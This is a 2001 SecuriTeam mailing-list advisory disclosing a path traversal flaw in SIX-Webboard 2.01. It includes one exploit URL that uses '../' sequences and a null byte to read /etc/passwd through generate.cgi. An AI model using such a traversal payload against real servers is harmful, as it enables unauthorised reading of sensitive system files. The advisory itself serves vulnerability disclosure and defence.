[UNIX] SIX-Web board "Show Files" Vulnerability

From: support@securiteam.com
Date: 08/15/01 

From: support@securiteam.com
To: list@securiteam.com
Subject: [UNIX] SIX-Web board "Show Files" Vulnerability
Message-Id: <20010815193644.C9982138BF@mail.der-keiler.de>
Date: Wed, 15 Aug 2001 21:36:44 +0200 (CEST)

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  SIX-Web board "Show Files" Vulnerability
------------------------------------------------------------------------

SUMMARY

 <http://www.sixhead.com/> SIX-Webboard, is a popular web board written by
 <mailto:webmaster@sixhead.com> Pipo. A security vulnerability in the
product gives attackers access to sensitive files.

DETAILS

Vulnerable systems:
SIX-Webboard version 2.01

The SIX-Webboard does not correctly filter '..' and '/' when it processes
user input. This allows attackers to enter arbitrary values allowing
retrieving of arbitrary files from the remote sever.

Exploit:
The following URL will try to access the /etc/passwd file:
http://www.example.com/cgi-bin/webboard/generate.cgi?
content=../../../../../../../../../etc/passwd%00&board=boardsname

(NOTE: URL has been wrapped for readability)

ADDITIONAL INFORMATION

The information has been provided by <http://www.poizonb0x.org/>
PoizonB0x Crew.

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